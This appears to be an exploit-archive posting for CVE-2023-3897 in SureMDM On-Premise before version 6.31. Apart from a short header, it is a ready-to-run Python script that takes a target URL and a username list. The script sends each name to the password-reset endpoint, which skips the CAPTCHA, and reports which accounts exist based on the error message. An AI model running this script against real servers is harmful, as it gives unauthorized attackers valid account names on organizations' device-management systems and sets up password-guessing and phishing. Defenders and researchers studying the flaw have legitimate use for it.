Headline
SureMDM On-Premise CAPTCHA Bypass / User Enumeration
SureMDM On-Premise versions prior to 6.31 suffer from CAPTCHA bypass and user enumeration vulnerabilities.
# Exploit Title: SureMDM On-premise < 6.31 - CAPTCHA Bypass User Enumeration# Date: 05/12/2023# Exploit Author: Jonas Benjamin Friedli# Vendor Homepage: https://www.42gears.com/products/mobile-device-management/# Version: <= 6.31# Tested on: 6.31# CVE : CVE-2023-3897import requestsimport sysdef print_help(): print("Usage: python script.py [URL] [UserListFile]") sys.exit(1)def main(): if len(sys.argv) != 3 or sys.argv[1] == '-h': print_help() url, user_list_file = sys.argv[1], sys.argv[2] try: with open(user_list_file, 'r') as file: users = file.read().splitlines() except FileNotFoundError: print(f"User list file '{user_list_file}' not found.") sys.exit(1) valid_users = [] bypass_dir = "/ForgotPassword.aspx/ForgetPasswordRequest" enumerate_txt = "This User ID/Email ID is not registered." for index, user in enumerate(users): progress = (index + 1) / len(users) * 100 print(f"Processing {index + 1}/{len(users)} users ({progress:.2f}%)", end="\r") data = {"UserId": user} response = requests.post( f"{url}{bypass_dir}", json=data, headers={"Content-Type": "application/json; charset=utf-8"} ) if response.status_code == 200: response_data = response.json() if enumerate_txt not in response_data.get('d', {}).get('message', ''): valid_users.append(user) print("\nFinished processing users.") print(f"Valid Users Found: {len(valid_users)}") for user in valid_users: print(user)if __name__ == "__main__": main()